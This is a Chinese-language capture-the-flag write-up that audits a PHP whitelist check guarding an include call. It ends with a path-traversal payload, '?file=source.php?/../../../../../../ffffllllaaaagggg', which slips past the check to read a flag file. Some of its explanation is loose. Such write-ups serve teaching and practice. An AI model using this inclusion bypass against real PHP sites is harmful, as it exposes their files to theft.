查看页面源代码,发现source.php
得到一串代码,进行代码审计:
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//主函数
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这段 PHP 代码主要用于检测用户请求的文件是否在白名单之内,如果在则可以包含该文件并输出,否则直接输出一张图片。
下面对代码进行详细分析:
首先,在代码第3行定义了名为 emmm 的一个类,其中包含了静态函数 checkFile。该函数接受一个参数 $page,并对其进行三次预处理,分别进行 URL 解码、去掉查询字符串和转换成统一编码,然后依次与白名单中的文件名进行比较,如果匹配成功则返回 true;否则输出一条错误信息,并返回 false。
其次,在主程序中通过判断用户的请求参数 $_REQUEST[‘file’] 是否存在、是否是字符串类型,以及调用 emmm::checkFile 函数的返回结果来决定是否包含相应文件并输出。如果不符合条件,则直接输出一张图片。
hint.php中提示flag路径
姿势
要想包含特定的文件,则必须file参数存在,参数为字符串类型,调用 emmm::checkFile 函数的返回结果为true
代码细致审计
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} //page参数存在且为字符串类型即可绕过该if
if (in_array($page, $whitelist)) {
return true;
}
//使用 PHP 中的 in_array 函数来判断 $page 是否在白名单 $whiteList 中。则参数在白名单中即可访问该文件
初步构造POC如下:
?file=source.php/ffffllllaaaagggg
接着审计该段代码:
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//使用 mb_strpos 函数查找 $page 中的问号位置,并截取从开头到该位置(不包括问号)的子字符串
假设传递的 $page 参数为:/path/to/file.php?id=qiu
使用 mb_strpos 函数查找 $page 中的问号位置:
$pos = mb_strpos($page . '?', '?');
返回的值为 17,表示第一个问号在字符串中的位置。
然后使用 mb_substr 函数截取从开头到该位置(不包括问号)的子字符串:
$_page = mb_substr($page, 0, $pos);
$_page 的值为 /path/to/file.php
即该段代码剔除了查询参数的文件路径。
再审计该代码:
if (in_array($_page, $whitelist)) {
return true;
}
//使用in_array 函数来判断 $page 是否在白名单 $whiteList 中。则参数在白名单中即可访问该文件
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
// 使用urldecode 函数对 $page 进行 URL 解码,然后再次使用 mb_strpos 和 mb_substr 函数重复上述操作
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
//使用in_array 函数来判断 $page 是否在白名单 $whiteList 中。则参数在白名单中即可访问该文件
由于PHP 在解析 include 或 require 语句时,会首先按照给定的路径进行搜索和加载。如果指定的路径是一个绝对路径或相对于当前脚本的路径,则直接按照该路径进行加载。
修改POC如下:(实现四次截断)
?file=source.php?/../../../../../../ffffllllaaaagggg